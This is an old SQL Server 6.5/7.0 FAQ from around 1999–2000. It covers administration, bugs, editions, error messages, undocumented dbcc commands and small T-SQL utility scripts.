Q. Are there any resources or tools to aid in an Oracle PL/SQL to SQL Server TSQL conversion.

A. A few :-

1. Microsoft SQL Server 6.5 Programming Unleashed (SAMS) has a chapter that discusses Oracle to Microsoft SQL migration

2. Paper(s) on MSDN.

3. 3rd-party application called "TopLink"


Q. What is a reproduction (repro) script that I need to produce for a SQL Server bug?

A. In order for Microsoft to resolve a bug they need to re-create it on their systems. The best way to do this is to provide them with a repro script. They don't have access to your database, so the script needs to be able to show the problem when run on a brand-new install of SQL Server on a new database.

Therefore it needs to contain all tables, user defined data types, triggers, views etc. needed to show the problem. If it needs data then keep this to a minimum - use INSERT INTO <tbl> VALUES (.....) type statements if possible. If not a small (zipped) amount of BCP data is ok.

Alternatively re-write your query (if possible) to run against the pubs or northwind (v7 only) databases as these are always installed with SQL Server and come complete with a variety of tables, foreign keys, indices, data etc.

If the script/data is reasonably short then post to one of the newsgroups and one of MVP's can report it to Microsoft for you.

If it isn't short or a repro script is not practical due to the amount of information/data needed then you will need to raise a bug with Microsoft PSS directly. (See MSPSS faq entry for details)

An example repro script below :-

--
-- Bug Title : Access violation
--

--
-- Versions affected : SQL 6.5
--

--
-- Fixed in : SQL 7.0
--

--
-- Microsoft incident / bug number : unknown/16767
--

--
-- Bug Description.
--
print
'
As title
'

--
-- Actual Repro script below here
--

use tempdb
go

CREATE TABLE table1
(
id int
)
GO

CREATE TABLE table2
(
id int
)
GO

CREATE TABLE table3
(
id int
)
GO

CREATE VIEW view1 AS
SELECT id
FROM table1
UNION ALL
SELECT id
FROM table2
GO

SELECT view1.id
FROM view1, table3
WHERE view1.id *= table3.id
GO


Q. Do SQL Service Packs have to be applied in order or can I just apply the latest one?

A. You can just apply the latest one.


Q. Is there an Access upsizing wizard to SQL Server 7.0?

A. No - one will probably be available with Access/Office 2000. Until then you will have to use the Access 97 to SQL 6.5 upsizing wizard to a SQL 6.5 system. And then upgrade the 6.5 system to 7.0.


Q. Why can't I see master, msdb etc. in SQL 7 EM? Also I can't see the system tables in user databases.

A. The reason for this is that by default system objects are not viewable.

To fix this, right click on the server name in Enterprise Manager and select "Edit SQL Server Registration Properties". Check the box to "show system databases and objects"


Q. What versions/types of SQL 7 are there and what are the differences? How can I tell which one I am running?

A. There are 6 true versions/types of SQL 7, all built on the same code-base, so they are all SQL 7, and the same servicepacks can be applied to all of them.

1. Enterprise Edition. Only runs on NT EE. Supports > 4 processors. Supports 2 node symmetrical clustering. Supports > 2Gb memory. Supports partitioned OLAP cubes - i.e. OLAP cubes running on multiple servers.

2. Standard Edition. Only runs on NT Server or higher. Supports up to 4 processors. Supports non-partitioned OLAP cubes. (This is the version that comes with BackOffice 4.5)

3. Desktop Edition. Can run on any NT or Windows 9x. Some feature and performance limitations - e.g. not all optimisations (like parallelism), only single threaded recovery, not as much use of async io (Windows 9x doesn't support at all), db's only opened when needed. Performance has generally been throttled back to make it unsuitable for a multiple client environment - if you try and use more than 5-6 concurrent users you will find performance tapers off. N.B. You can't buy the desktop edition on it's own. You have to buy the standard/enterprise edition - the installs for which allow a desktop install to be done. The desktop version just needs a CAL per copy as a license. Full-text search engine is not supported on desktop edition.

4. Small Business Edition (Part of SBS 4.5). Same as Standard Edition except limited to 100 users and 10Gb per databases. This version can be updated to the Standard Edition if needed.

5. Developer Edition. This is supplied with Visual Studio 6.0 and has the same restrictions as MSDE.

6. MSDE. This is a run-time engine, delivered as part of Office 2000, and can act as a back end to Access 2000 instead of Jet - although Jet will still be supported. Has some admin tools, though not the full SQL EM MMC environment. e.g. does not include DTS design tools though you can run pre-developed DTS packages against it. Footprint in disk space is 35Mb, working set is 6-7mb at startup, 2-5mb for processing. Limited to 2Gb per database. MSDE is freely distributable as long as the application you package it with was developed using a licensed copy of the Microsoft Office 2000 Developer Edition. Note MSDE is packaged as v1.0 but it's still really SQL 7.0. Performance is similarly throttled back like with desktop edition. Full-text search engine is not supported on MSDE.

In addition to these there is an Evaluation edition that is the same as standard edition, but is a 120-day time-limited version.

To detect which one you are running you need to parse the output from "SELECT @@VERSION" - which will have in it strings as below.

MSDE on ..............
Desktop Edition on .................
Standard Edition on .................
Enterprise Edition on ................
Small Business Server Edition on ................
Developer Edition on ................
Standard Edition Evaluation on .................

e.g. IF (CHARINDEX('MSDE', @@version) > 0 ) .... <<< You have MSDE


Q. What versions of SQL 7 are there and what are the differences?

Q. When SQL Executive starts I get the error id 109.

A. The full error is "This version of SQLExecutive requires SQL Server version 6.5 or later".

Usually this is because the NT account that the SQL Executive service is running under does not have permissions to read the HKLM\SOFTWARE\MICROSOFT\MSSQLSERVER registry key.


Q. What tools are available to stress/benchmark SQL Server?

A. There are a couple of unsupported "as-is" Microsoft products :-

1. SQL Load Simulator. (Microsoft supplied multi-threaded ODBC utility). backoffice.microsoft.com/downtrial/moreinfo/sqldrk.asp
2. TPC-B. (Microsoft Supplied). ftp.microsoft.com/bussys/sql/unsup-ed/benchmarkkit/bench.zip
3. SQLHDTST.EXE. Back Office Resource Kit. I/O utility simulating SQL 6.5.
4. SQL 7 IO Stress. www.microsoft.com/sql. New utility just for stressing i/o subsystems - SQL 7.0 style.

Also 3rd party programs :-

1. Mercury. www.merc-int.com
2. Blue Curve. www.bluecurve.com
3. SQA
4. Benchmark Factory. www.benchmarkfactory.com


Q. Why can't I stop/start SQL from SQL Enterprise Manager?

A. There are several reasons for this :-

  1. You are running SQL EM on a Windows 9x client. Windows 9x does not support Windows NT service control APIs. Therefore you cannot start, stop or inquire on the status of the SQL Server service.
  2. SQL Server has a different name to the NT Server.
  3. The NT userid you are logged on as does not have NT administrator privileges on the SQL Server machine you are pointed at.


Q. Should I use tempdb in ram?

A. The short answer is no. In almost all cases you are better off just letting SQL have the extra memory for caching.

Support for tempdb in ram has been removed in SQL 7.

As an alternative, there is nothing stopping you using an NT level ramdrive - several exist - and put tempdb on that.


Q. Does SQL 7 support tempdb in ram?

A. No, this support has been removed.

There is nothing stopping you using an NT level ramdrive - several exist - and put tempdb on that. However in almost all cases you are better off just letting SQL have the extra memory for caching.


Q. I am getting an error 4409 selecting on a view ever since I applied SP5 to SQL 6.5.

A. This is a bug introduced with SP5. You should contact Microsoft PSS for a hot-fix - build 422 and greater contains this fix. Therefore SP6 will contain the fix when it is released.


Q. I am getting an error 603 on database recovery in a SQL 6.0 system.

A. This happens only on SQL 6.0 SP3. There is no fix, but the workaround is :-

  1. Stop SQL Server
  2. Rename sqlservr.exe in <sql>\binn to sqlservr.sp3
  3. Copy the sqlservr.exe from your SQL 6.0 CD into <sql>\binn
  4. Re-start SQL Server. It should now recover ok.
  5. Stop SQL Server
  6. Rename <sql>\binn\sqlservr.exe to sqlservr.org for later use
  7. Rename <sql>\binn\sqlservr.sp3 to sqlservr.exe
  8. Re-start SQL Server


Q. Why do I get an error "SQL Server Assertion : File:<xxx.c> Line=yyy Failed Assertion='zzz'?

A. An assertion is typically raised when a program gets to a bit of C code that it shouldn't be possible to enter, or has been entered with wrong parameters. An assertion is raised by the developer to let them know of this bug and to prevent the code running any further and thus cause unknown further problems.

With SQL 6.5 assertions are typically only raised with the debug (checked) version of sqlservr.exe. In the normal supplied version the debug code is removed for performance reasons. Checked versions are normally only provided by Microsoft PSS specifically to help track down bugs with a customer.

With SQL 7.0 it is possible to get these errors from the normal compiled executables.

In any event, if you get one of these errors then you need to raise it as a paid fault call with Microsoft PSS via your normal support channel.


Q. How can I overwrite expired backups on a disk device to save on space and still keep a rolling x days there?

A. You can't. Without searching the entire file SQL has no way of knowing how much space each backup takes. To delete one part it would have to read the current backup file and write out all the un-expired dumps to a new file and then delete/rename. And only then could it write the new one to the end. All this would take far too long and too much disk space.

The expiry date is JUST there to prevent accidental overwrites and nothing else.

If you want to keep a rolling number of dumps then write them out with different names each day using the DISK=option of the dump command. Then have a regular task check these dumps and delete old ones.


Q. Should I set "boost priority" to 1 or "SMP" to -1 on SQL Server?

A. No (unless the following doesn't bother you).

Although these can offer a small performance improvement in tpcc environments (which is why Microsoft put them in the product), you run the risk of the SQL process hogging too much cpu time at the expense of NT/networking/drivers. If this happens your other SQL connections will hang or disconnect as NT won't be able to service the network packets needed to keep the sessions running.

If you do have an environment where all SQL code is known in advance, there are no ad-hoc queries, and no heavy queries, then you may get a small improvement by turning them on. But the risks aren't worth the gains in 99% of situations.


Q. What are all the dbcc commands for SQL Server?

A. All the documented ones are in the books online, or in publicly accessible knowledgebase articles. The rest are undocumented because they are either irrelevant to people outside MS, or their use is dangerous and is to be discouraged.

The undocumented dbcc commands vary from release to release and there are sure to be a lot more new ones in SQL 7.0 as well as ones that have been removed.

However as people always want to know, here is a predominantly Sybase based list that will mostly work with SQL 6.5 and below - however there are no guarantees. Which will work against SQL 7.0 is even more of a lottery.

Feel free to use any of these against a test system, but don't expect any help if you use any of them that are not documented officially elsewhere.

  • allocdump( dbid, page )
  • bhash( { print_bufs | no_print }, bucket_limit )
  • buffer( [ dbid ][, objid ][, nbufs ], printopt={ 0 | 1 | 2 }, buftype )
  • bytes( startaddress, length )
  • checkalloc[( dbname [, fix | nofix ] ) ]
  • checkcatalog[( dbname )]
  • checkdb[( dbname [, skip_ncindex ] ) ]
  • checktable( tablename | tabid [, skip_ncindex ] )
  • dbinfo( [ dbname ] )
  • dbrepair( dbid, option={ dropdb | fixindex | fixsysindex }, table, indexid )
  • dbtable( dbid )
  • delete_row( dbid, pageid, delete_by_row={ 1 | 0 }, rownum )
  • des( [ dbid ][, objid ] )
  • extentcheck( dbid, objid, indexid, sort={1|0} )
  • extentchain( dbid, objid, indexid, sort={1|0},display(1,0) )
  • extentdump( dbid, page )
  • extentzap( dbid, objid, indexid, sort )
  • findnotfullextents( dbid, objid, indexid, sort={ 1 | 0 } )
  • fix_al( [ dbname ] )
  • help( dbcc_command )
  • ind( dbid, objid, printopt={ 0 | 1 | 2 } )
  • indexalloc(tablename|tabid, indid, [full | optimized | fast],[fix | nofix])
  • locateindexpgs( dbid, objid, page, indexid, level )
  • lock
  • log( [dbid][,objid][,page][,row][,nrecords][,type={-1..36}],printopt={0|1} )
  • memusage
  • netmemshow( option={1 | 2 | 3} )
  • netmemusage
  • newalloc( dbname, option={ 1 | 2 | 3 } )
  • page( dbid, pagenum [, printopt={0|1|2} ][, cache={0|1} ][, logical={1|0} ] )
  • pglinkage( dbid, start, number, printopt={0|1|2}, target, order={1|0} )
  • pktmemshow( option={spid} )
  • procbuf( dbid, objid, nbufs, printopt={ 0 | 1 } )
  • prtipage( dbid, objid, indexid, indexpage )
  • pss( suid, spid, printopt={ 1 | 0 } )
  • rebuildextents( dbid, objid, indexid )
  • resource
  • show_bucket( dbid, pageid, lookup_type )
  • tab( dbid, objid, printopt={ 0 | 1 | 2 } )
  • tablealloc(tablename|tabid, [full | optimized | fast],[fix | nofix])
  • traceoff( tracenum [, tracenum ... ] )
  • traceon( tracenum [, tracenum ... ] )
  • undo( dbid, pageno, rowno )


Q. How can I see how many objects are actually open in SQL Server?

A. On SQL 6.5 you can use the dbcc des command. This will list entries per open object.

dbcc traceon(3604)
go
dbcc des
go


Q. How can I get the hardware spec of a SQL Server remotely?

A. xp_msver will return most of the information you need.


Q. How can I tell what columns in my SQL Server database are identity columns?

A. The following scripts work on SQL 6.5.

To show all identity columns :-

select o.name, c.name from <dbname>..syscolumns c, <dbname>..sysobjects o
where c.id=o.id and (c.status & 128)=128

To tell the identity seed : select ident_seed('<tblname>')

To tell the identity increment : select ident_incr('<tblname>')


Q. I get an errot trying to load a trace file into the SQL 7 Profiler/Index Tuning Wizard.

A. If the error is "Error analysing workload (60)" this means that it failed to find/load the file. Check that the filename is correct and you have permissions to read the file. There is also a bug in builds 623 (RTM) and earlier that the filename cannot have spaces in it.


Q. How do I install the SQL Server Internet Connector Software?

A. You don't install it. This isn't software, just a piece of paper licensing you to use SQL Server in this manner. Just up the number of SQL Server connections via sp_configure and licenses via control panel/license manager yourself.

It covers any number of INTERNET users connecting to a SQL 6.5 machine. If your users are connecting via an INTRAnet then the individual users require CAL's and the internet connector license does not apply.

For SQL 7.0 the same is true except that an internet connector license is required PER CPU on the server. So for a quad-SMP box you would require 4 licenses. (Intranet users with CAL's are not affected)


Q. Can I use a Worm/MO/CD-Rom jukebox with SQL Server?

A. Yes and no.

1. SQL can only access "disks" - so first the jukebox must be made to look just like a disk or set of disks, complete with drive letters etc. There are a variety of products available to do this from Ascend, Kofax, OTG and Ixos to name a few. (I've mainly used Disk Extender from www.otgsoftware.com).

2. SQL needs immediate access to the data and jukeboxes/software typically don't offer this - they normally cache files to a real disk first. This all takes time - seconds to minutes or more for large files. Having SQL's i/o engine backed up waiting for i/o from a very slow device (compared to disks) is a very bad idea.

I would recommend that instead of WORM/jukeboxes etc. you just buy another large raid unit with the largest disks you can find and create databases on this raid unit and then mark them as read-only with SQL Server.


Q. When I run the MDAC setup routine that comes with SQL Server SP5(a) why does it re-invoke the service pack setup?

A. Because you didn't expand the sp5 file with the /d option. It will then create the i386/mdac folder with the mdac exe file in it. When run from this sub-directory it will invoke the right setup program.


Q. How can I replace/change/delete characters in a SQL Server column?

A. SQL has a reasonably full set of string manipulation tools - all doc'd in the BOL. Some are detailed below.

  • RTRIM/LTRIM - for leading/trailing spaces
  • SUBSTR - standard substring
  • RIGHT
  • CHARINDEX/PATINDEX - find a particular char/pattern
  • STUFF - replace text at given offset(s)
  • REPLACE - SQL 7.0 only. Replaces chars anywhere in a column


Q. Does SQL Server support row numbers like Oracle does?

A. No - row numbering is contrary to relational sets (which is what rdbms's running SQL are all about). It is not an ANSI standard. Microsoft have not implemented anything like it.

If you need to use row numbers you should look at your application and see if it is really appropriate to a SQL database.


Q. When I do a SQL Server trace I see lots of sp_cursoropen and sp_cursorfetch commands being sent that I am not generating.

A. You are using ODBC/OLE-DB or a higher level method based on these. These procedures are used to provide cursor functionality. They should not be directly called by your own TSQL.


Q. Does SQL 7 support db-lib?

A. Yes it does, but db-lib is functionally stabilised at the 6.5 level. Therefore if a db-lib client on whatever platform worked against a 6.5 database it should work against the same database migrated to SQL 7.0.

None of the SQL 7.0 features like unicode, character columns greater than 255 characters etc. are in db-lib though. So if you utilise any SQL 7.0 features then these can only be accessed by ODBC 3.7 or OLE-DB clients.

Similarly for 16-bit clients. These are supported, but only with the 6.5 levels of ODBC/db-lib code. 16-bit clients cannot access new SQL 7.0 features either.

The 16-bit client code is not supplied with 7.0 - you will have to get it from the 6.5 cd. This includes DOS drivers.


Q. Why do I get a 6.5 group in my SQL 7.0 MMC list of servers?

A. This is there for you to manage your 6.5 servers and for if you switch back to a co-resident copy of 6.5. If you have no more 6.5 servers and want to delete the entry then delete the following registry key :-

HKEY_CURRENT_USER\Software\Microsoft\MSSQLServer\SQLEW\Registered Servers\SQL 6.5


Q. Can I run SQL 6.5 and SQL 7.0 on the same machine?

A. You can have both installed at the same time and switch between them, but there is no way for both to be running at the same time.


Q. How can I check whether SQL 6.5 or SQl 7.0 is installed without connecting to SQL and logging on?

A. You could check :-

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\CurrentVersion

However, in the case of a clustered server it may not be there. In which case you could check

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSQLServer\Performance\Library

The value of this will either be sqlctr60.dll or sqlctr70.dll and the location won't change.


Q. I'm running a stored-proc from VB. Why does it return control before the SP has finished?

A. Either because the SP is returning multiple resultsets or it has been invoked asynchronously.

Put "set nocount on" at the start of the SP to stop counts of rows being returned - assuming you don't need them. Also check the call parameters you are making from db-lib/ODBC/ADO/etc. Make sure it is a synchronous call and not an asynchronous one.


Q. Can I install SQL on a Terminal Server machine?

A. Several points here :-

1. Microsoft don't "recommend" it for resource reasons. Same as "not" installing SQL on a PDC. Terminal Server is very memory hungry - as is SQL Server.

2. SQL 6.5 has not been tested, but should work.

3. SQL 7.0 is supported on NTTE as long as you install SP1 for SQL 7.

===

v1.02 2000.02.01
Applies to SQL Server versions : 6.5, 7.0
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. How can I report a SQL Server bug to Microsoft?

A. There are several ways, but the >>ONLY<< way you can be sure of an engineer looking at it and providing you with a workaround/fix is to report it to Microsoft's PSS (Product Support Services) team. These are people who support all MS's products, write fixes, take the calls, sort out workarounds etc. They work 24x7x365. You can call them by phone (U.S. is 1-800-936-3500)

For details of your nearest PSS support centre and other info try :-

http://support.microsoft.com/support/supportnet/default.asp
http://www.microsoft.com/support/customer/itpro.htm

To report on the Web :-

http://www.microsoft.com/technet/support/incident.htm
http://support.microsoft.com/support/webresponse.asp

All incidents are chargeable either to your credit card or an existing account. The charge WILL be re-imbursed if the problem turns out to be an Microsoft bug, or a feature that hasn't been publicly documented. The person answering the phone cannot know it's a bug, so they have to take details of your credit card before passing you on to a technician. When the call is closed the technician decides whether to mark the call as "free" in which case you get a refund automatically. (Same for Web incidents)

If you don't want to pay for a call then there are "free" email/web response methods via e-mailing ntbugs@microsoft.com or http://support.microsoft.com. However, these methods merely get the "bugs" filed somewhere - they do not currently guarantee that anyone will even look at them, let alone do something about it - you will almost certainly get no feedback so there is no way of knowing what has happened to your bug report.

Can't I report it to a Microsoft newsgroup? Yes, but Microsoft employees do not officially monitor these forums. It is possible that they will notice a bug report, they may even look into it - it's not even unheard of them to contact the person with the problem. However these are all the exception rather than the rule. The newsgroups are there for peer to peer support and are not an official bug reporting channel.

If you can provide a reproduction script on the newsgroups then one of the MVP's (we are NOT Microsoft Employees!) can pass this to PSS for you. It has a much greater chance of being looked at that way, but again, is not a guarantee. If you do post a repro script then there is a good chance that someone will be able to find you a work-around though.

Whatever method you use, in order for Microsoft to resolve a bug they need to re-create it on their systems. The best way to do this is to provide them with a repro script - this needs to show the problem when run on a brand-new install of SQL Server on a new database. Therefore it needs to contain all tables, user defined data types, triggers, views etc. needed to show the problem. If it needs data then try and keep this to a minimum. (See reproscript.txt in the FAQ for more details and an example)


Q. Why do I get the SQL Server error "Msg 8412 - Schemas differ" when doing a LOAD TABLE?

A. If both tables have been defined identically the most common reason for this is when the exact error is "Msg 8412, Level 16, State 3" - with the state of 3 being the give-away. This problem occurs if both of the following conditions are true:

  • The table has a nullable char or varchar column and was created under one ANSI_PADDING setting.
  • The table was dumped, dropped, and re-created from a script, but with a different ANSI_PADDING option set.

This is usually caused by the tool being used to re-create the table setting a different default for the ANSI_PADDING value. See Q170639 for more info.


Q. Why do I get an error message when I try to run SQL 7 EM - "MMC - Snap-in failed to initialize"?

A. It could be that one or more dll's has not been registered. Try :-

C:\> regsvr32 <sqldir>\BINN\dtsui.dll
C:\> regsvr32 <sqldir>\BINN\sqldmo.dll
C:\> regsvr32 <sqldir>\BINN\sqlns.dll
C:\> regsvr32 <sqldir>\BINN\sqllex.dll


Q. Why is the week number returned by SQL Server wrong?

A. e.g. select datepart(wk,'19990323') returns 13 when it should be 12.

This is because SQL Server starts counting weeks from Jan 1. Week 1 = Jan 1.

The ISO standard is that week 1 is the first week with 4 days in it.

You will have to write your own bit of SQL to calculate it...


Q. How can I un-install a SQL Server servicepack and go back to the original version?

A. Check the readme.txt that came with the sp. Some come with un-install instructions - in which case follow them.

If there are no instructions then just replace the updated .exe's and .dll's with the previous ones. This won't back out any of the SQL script changes that would have been run as part of the servicepack, but I don't know of any issues that require these being backed out.

For 6.5 SP5a back to SP4 there is a kb article at http://support.microsoft.com/support/kb/articles/Q216/4/21.ASP


Q. How can I transfer database diagrams from one SQL 7 server to another?

A. Assuming you have identical databases and the dtproperties table exists on the target db then use :-

insert into
   <targetdb>..dtproperties
select
   object_id, value, lvalue, version
from
   <sourcedb>..dtproperties


Q. Why is SQL Server 7 slower than 6.5 at running some of my sp's?

A. Chances are this is due to the use of temporary tables in the SP :-

In SQL 7.0, a stored proc will be recompiled whenever a table is encountered that did not exist at the time the stored proc was created. So, if you scatter the creation and use of temp tables throughout a stored proc, the stored procedure will undergo multiple recompilations. However, if you place all your temporary table creates at the beginning before any other TSQL then there will only need to be one recompilation when the first temp table is referenced. Make sure you create the relevant indices on the temp tables at the start as well. The reason for this is to get better optimization for the later queries in the SP. With 6.5 and below, the optimizer didn't know what indices were available on the temp tables and so had to guess at the start of the sp. These guesses would often lead to inappropriate access plans.

You can also try putting the "OPTION KEEP PLAN" hint on selects to reduce the recompilations.

For more info on the above see http://msdn.microsoft.com/library/techart/sqlqa.htm

There is also a bug you may be running into (fixed in SP1). If the following conditions are true you may be getting excessive re-compilations :-

sp is in master
db being referenced is in 65 compatibility mode
concat_null_yield_null is being set (usually because you are using ODBC)


Q. How can I modify the SQL 7 unattended install script?

A. Check out the following link for info http://technet.microsoft.com/cdonline/content/complete/boes/bo/SQL/Technote/sql7set


Q. Is there an Access upsizing wizard to SQL Server 7.0?

A. Yes, there is now one available at http://www.microsoft.com/AccessDev/ProdInfo/AUT97dat.htm


Q. Do I really need a 166Mhz Pentium processor to run SQL Server 7.0?

A. No. But you DO need a 100% Intel pentium compatible chip - which rules out some Cyrix and IBM processors. Microsoft have used an intel pentium instruction that some of these non-Intel processors do not support. There is NO way around this.

The actual speed of the processor doesn't matter as long as it runs the full pentium instruction set - it needs to support CMPXCHG8B (Compare and Exchange 8 bytes) and RDTSC (Read Time-Stamp counter) instructions. Microsoft have made this a requirement because it is the minimum spec machine that they have developed/tested with - which is ok if you get most of your equipment donated/loaned/replaced by hardware companies free of charge, but this isn't the case with most businesses!

As long as the server previously ran SQL 6.5 (and is 100% intel compatible) you should find that it will run SQL 7.0 and will offer significant performance improvements, so don't upgrade hardware for the sake of it.

The following quote is from Microsoft Product Support Services :-

"When using SQL Server v7.0, Microsoft recommends a processor speed of 166Mhz or higher for server machines. Our extensive testing of the product has been done on machines of this calibre and we believe customers will get a better price performance with the product when used in this configuration. Microsoft will support SQL Server v7.0 when run on server machines with slower processors. However customers should recognise that if our findings are that major problems can be eliminated by using faster processors we will continue to recommend, and in some cases may require, compliance with this suggestion."

The reason for this caveat is that some of the decisions the optimiser makes on a 166Mhz pentium may not make so much sense on a 60Mhz pentium - i.e. the extra cpu time a 60Mhz part neeed may mean that a non-optimal plan had been chosen.


Q. Why do I get an error "Bad pointer 0xABCDEF encountered while remapping stored procedure" in SQL Server?

A. This is a bug in SQL Server. Chances are you are using a temporary table with an identity column. You can re-write the SP or try the latest SQL Service pack. Microsoft will eventually fix this one.


Q. Why does sp_processmail fail with an error 'Supplied datatype for set_user is not allowed, expecting 'varchar'' on SQL 7?

A. This is a known problem, i.e. bug. You have to rewrite sp_processmail (courtesy of Wayne Snyder). Microsoft haven't fixed it yet - maybe in SP2....

The problem is actually with xp_sendmail which returns an error (@set_user datatype is incorrect)..

Microsoft changed the @set_user, and @dbuse params in sp_processmail to sysname, and did *NOT* go back and change xp_sendmail...

The temp fix is to change sp_processmail as follows

create procedure sp__processmail --- 1996/06/19 17:30
@subject varchar(255)=NULL,
@filetype varchar(3)='txt',
@separator varchar(3)='tab',
@set_user varchar(30)='guest', --Change this back from sysname to varchar
@dbuse varchar(30)='master' --Change this back from sysname to varchar
as

........./* rest of procedure */


Q. How can I pad an integer value in SQL Server with zeroes?

A. By converting to a string and padding that way. e.g. an example from pubs to pad a value :-

select right(replicate('0',10)+ convert(varchar(10),ytd_sales),10) from titles


Q. Where can I get a JDBC driver for SQL Server?

A. Microsoft don't supply one. You can get 3rd party ones from a variety of vendors and some free open-source ones as well. It is difficult to recommend one, but WebLogic users seem to be generally happy. The full list that I know of are :-

1. WebLogic : http://weblogic.beasys.com and www.weblogic.com. (type 2, 3 or 4. SQL 6.5 and 7.0)

2. http:\\www.inetsoftware.de. JDBC Type 4 drivers for the Microsoft SQLServer 6.5 and 7.0. JDBC 1.22 driver to use with JDK 1.1x and a JDBC 2.0 driver (i-net Sprinta) to use with Java 2 (JKD 1.2x).

JDBC 1.22 : http://www.inetsoftware.de/English/produkte/jdbctreiber/Default.htm
JDBC 2.0 : http://www.inetsoftware.de/English/produkte/jdbc2/Default.htm.

3. www.openlinksw.com (www.openlinksw.co.uk)

4. http://beta.easysoft.com. JDBC/ODBC bridge (www.easysoft.com)

5. ftp://freetds.internetcds.com/pub/freetds_jdbc. Type 4 open-source driver that is designed to work with SQLServer and Sybase

6. http://java.sun.com/products/jdbc

7. http://lpv.home.texas.net (LpVodbc)

8. http://ourworld.compuserve.com/homepages/Ken_North/jdbcvend.htm


Q. Why is SQL Server better/worse than Oracle?

A. This is as much a "religious" debate as a technical one. Both products are good (as are others such as DB/2, Informix, Sybase...). My advice would be to stick with whatever you have the technical skills/experience with, and don't change for the sake of it. SQL Server, Oracle and DB/2 will all be around for a long time - and most of the other dbms's should be too.

But for those who have to have a pro and con list, here is one to get you started (though no doubt some/all of the points would be contested). It assumes SQL 7 and Oracle 8.

Pro's of SQL Server
-------------------

On the *same* hardware running NT - SQL Server has the best tpcc numbers. (www.tpc.org). Oracle has higher tpcc numbers but only on non-NT platforms - and the cost per tpcc is higher.

Mobile/client version of product is exactly the same as the server one (with Oracle it isn't)

SQL 7 is generally accepted as easier to install, use and manage

SQL Server is cheaper to buy than Oracle (though this is such a small part of lifetime support costs it really shouldn't be a consideration)

Extra facilities "in the box" - e.g. OLAP, English Query, DTS

Pro's of Oracle
---------------

Scales higher than SQL 7 - whether your system needs to scale that high is a question you need to ask yourself (if you need ultimate performance you should be looking at DB/2 on a cluster of IBM 10-way mainframes). SQL 7 should be fine for 1 Terabyte of data and 2500 users. (These are conservative figures and are more to do with NT's scalability than SQL's).

Clusters better than SQL

More powerful 3GL language than SQL - PLSQL vs TSQL

Runs on non-NT platforms - e.g. Unix, MVS.

Been around longer.

More fine-tuning to the config can be done via start-up parameters.


Q. A query produces this error in SQL 7 'Internal Query Processor Error'.

The full error is "Internal Query Processor Error: The query processor could not produce a query plan."

This means that the query processor/optimiser is "confused". With SQL 6.5 these sorts of queries would typically produce access violations which could potentially affect the whole of SQL Server. In SQL 7.0 the problem is handled a bit better - with this error being produced.

However, it is still really a bug, and you should report it to Microsoft as a bug.

Sometimes queries will work ok on SMP systems but not on single-processor systems - this is due to the fact that query parallelisation is available on SMP boxes.

In order for Microsoft to resolve a bug they need to re-create it on their systems. The best way to do this is to provide them with a repro script - this needs to show the problem when run on a brand-new install of SQL Server on a new database. Therefore it needs to contain all tables, user defined data types, triggers, views etc. needed to show the problem. If it needs data then try and keep this to a minimum.

If the script/data is reasonably short then post to one of the newsgroups and one of MVP's can report it to Microsoft for you. (See reproscript.txt for more information)


Q. Any known issues with IE5 and SQL Server 7.0?

A. Yes. See below.

Microsoft SQL Server 7.0 running on a Windows 95 or Windows 98 computer with
Microsoft Internet Explorer 5.0 installed.

Problem description:
Installation of Internet Explorer version 5.0 on a SQL Server 7.0 Windows 95
or Windows 98 computer may cause wizards and property sheets (tabbed
dialog boxes) that display an edit control to generate exception errors.
Generally, this problem is reported on the Windows 95 or 98 computer as a
general protection fault.
This problem only affects the user of the client wizard tool. It has no
effect on the server.

The problem is fixed in SQL 7 SP1 which is now available.


Q. How can I programmatically get the next free device number (vdevno) in SQL 6.5 and below?

A. CREATE PROCEDURE sp_ms_NextDeviceNumber AS

/*
RETURNS THE NEXT AVAILABLE SEQUENTIAL DEVICE NUMBER
Created by Mike Schellenberger
*/

/* Get a list of used device numbers > 0 and put in a temporary table */
SELECT
dev_num=CONVERT(tinyint, SUBSTRING(CONVERT(binary(4), d.low),v.low, 1))
INTO #TmpDevHoldTable
FROM master..sysdevices d, master.dbo.spt_values v
WHERE v.type='E'
AND v.number=3
AND convert(tinyint, substring(convert(binary(4), d.low),v.low, 1)) > 0
ORDER BY dev_num

/* Now lets find the first available device from the temporary table */

SET ROWCOUNT 1 /* This gets only the first one available */

SELECT Next_Available_Device_#=t1.dev_num + 1
FROM #TmpDevHoldTable t1
WHERE NOT EXISTS /* When current dev number + 1 does not exist */
(SELECT t2.dev_num /* we are here and have our 1 row */
FROM #TmpDevHoldTable t2
WHERE t1.dev_num + 1=t2.dev_num)

SET ROWCOUNT 0
DROP TABLE #TmpDevHoldTable
GO


Q. How can I get random numbers from SQL Server? Using rand() I always get the same sequence.

A. This is because you need to start the rand function off with a random number. Use something like :-

SELECT RAND( (DATEPART(mm, GETDATE()) * 100000 )
+ (DATEPART(ss, GETDATE()) * 1000 )
+ DATEPART(ms, GETDATE()) )


Q. What is the precedence of the SET commands, database options, session options etc. in SQL Server?

A. This information comes courtesy of Gert Drapers (MS).

Setting are defined on 3 levels:

  1. server
  2. database (on overlap, overwrites the server level settings)
  3. session (on overlap, overwrites the server and database settings)

Considerations When Using the SET Statements

  • Except for SET FIPS_FLAGGER, SET OFFSETS, SET PARSEONLY, and SET QUOTED_IDENTIFIER, all other SET statements are set at execute or run time. SET FIPS_FLAGGER, SET OFFSETS, SET PARSEONLY, and SET QUOTED_IDENTIFIER are set at parse time.
  • If a SET statement is set in a stored procedure, the value of the SET option is restored after control is returned from the stored procedure. Therefore, a SET statement specified in dynamic SQL does not affect the statements that follow the dynamic SQL statement.
  • Stored procedures execute with the SET settings specified at execute time except for SET ANSI_NULLS and SET QUOTED_IDENTIFIER. Stored procedures specifying SET ANSI_NULLS or SET QUOTED_IDENTIFIER use the setting specified at stored procedure creation time. If used inside a stored procedure, any SET setting is ignored.
  • The user options setting of sp_configure allows server-wide settings and works across multiple databases. This setting also behaves like an explicit SET statement, except that it occurs at login time.
  • Database settings (set by using sp_dboption) are valid only at the database level and only take effect if not explicitly set. Database settings override server option settings (set using a SET statement) when an option appears at more than one level.
  • With any of the SET statements with ON and OFF settings, it is possible to specify either an ON or OFF setting for multiple SET options. For example, SET QUOTED_IDENTIFIER, ANSI_NULLS ON sets both QUOTED_IDENTIFIER and ANSI_NULLS to ON.
